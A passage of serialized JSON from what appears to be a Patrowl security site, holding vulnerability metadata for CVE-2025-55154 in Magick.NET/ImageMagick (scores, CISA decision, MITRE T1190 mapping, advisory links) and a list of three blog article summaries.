Magick.Net-Q16-Hdri-Openmp-X64",[91,92,93,94,95,96,97],"https:\u002F\u002Fgithub.com\u002FImageMagick\u002FImageMagick\u002Fsecurity\u002Fadvisories\u002FGHSA-qp29-wxp5-wh82","https:\u002F\u002Fgoo.gle\u002Fbigsleep","https:\u002F\u002Flists.debian.org\u002Fdebian-lts-announce\u002F2025\u002F09\u002Fmsg00012.html","https:\u002F\u002Fnvd.nist.gov\u002Fvuln\u002Fdetail\u002FCVE-2025-55154","https:\u002F\u002Fgithub.com\u002FImageMagick\u002FImageMagick","https:\u002F\u002Fgithub.com\u002Fdlemstra\u002FMagick.NET\u002Freleases\u002Ftag\u002F14.8.0","https:\u002F\u002Fissuetracker.google.com\u002Fsavedsearches\u002F7155917",0.79,0.00945,0.60837,false,{"timestamp":103,"automatable":104,"tech_impact":105,"exploitation":106,"cisa_decision":107,"cisa_remediation_timeline":111},"2025-08-13T14:28:13.162425Z","no","partial","poc",{"vector":108,"decision":109,"priority":110},"CISAv1\u002FE:P\u002FA:N\u002FT:P\u002FM:H\u002F2026-10-26T02:13:54.086048\u002F","track_star","medium","60D",[113],{"name":114,"source":115,"tactics":116,"technique_id":118},"Exploit Public-Facing Application","attack_vector",[117],"initial-access","T1190",[120],{"link":91},{"count":122,"next":123,"previous":6,"results":124},26,"http:\u002F\u002Fweb:8606\u002Fapi\u002Farticles\u002F?page=2&page_size=3&sorted_by=-published_at",[125,133,141],{"id":126,"title":127,"summary":128,"published_at":129,"type":130,"link":131,"image_url":132},30,"PHP2Shell: Two Critical RCE Flaws in PHP (CVSS 9.2)","Unauthenticated code execution demonstrated on WordPress, Drupal and Joomla, and reproduced in our lab. Patched versions and steps to take today.","2026-10-22T00:00:00Z","cve","https:\u002F\u002Fpatrowl.io\u002Fen\u002Fblog\u002Fphp2shell-2-critical-rce-flaws-php-cvss-9-2","https:\u002F\u002Fpatrowl.io\u002Fmedia\u002Fsite\u002Fc0615c4ee6-1792684469\u002Fphp2shell-2-critical-rce-flaws-php-cvss-9-2.png",{"id":134,"title":135,"summary":136,"published_at":137,"type":138,"link":139,"image_url":140},29,"Manage External Security Across All Your Entities","Centralize the management of entities, users and external security resources while maintaining strict data isolation with Patrowl.","2026-09-15T00:00:00Z","security tips","https:\u002F\u002Fpatrowl.io\u002Fen\u002Fblog\u002Fmulti-entity-external-security-how-structure-governance-group-level","https:\u002F\u002Fpatrowl.io\u002Fmedia\u002Fsite\u002F8b2c0cc5eb-1789551467\u002Fvisu_1_multi_tenancy_dark_1x.webp",{"id":142,"title":143,"summary":144,"published_at":145,"type":146,"link":147,"image_url":148},28,"Will AI Become the Next Hacker? Bruce Schneier Answers at DEF CON 34","Tax law, finance, legislation: Bruce Schneier shows how AI could hack human rule systems just as easily as it hacks software.","2026-09-14T00:00:00Z","hacks","https:\u002F\u002Fpatrowl.io\u002Fen\u002Fblog\u002Fbruce-schneier-def-con-34","https:\u002F\u002Fpatrowl.io\u002Fmedia\u002Fsite\u002F5c616d9db4-1789462598\u002Fai-hacker.en.png"]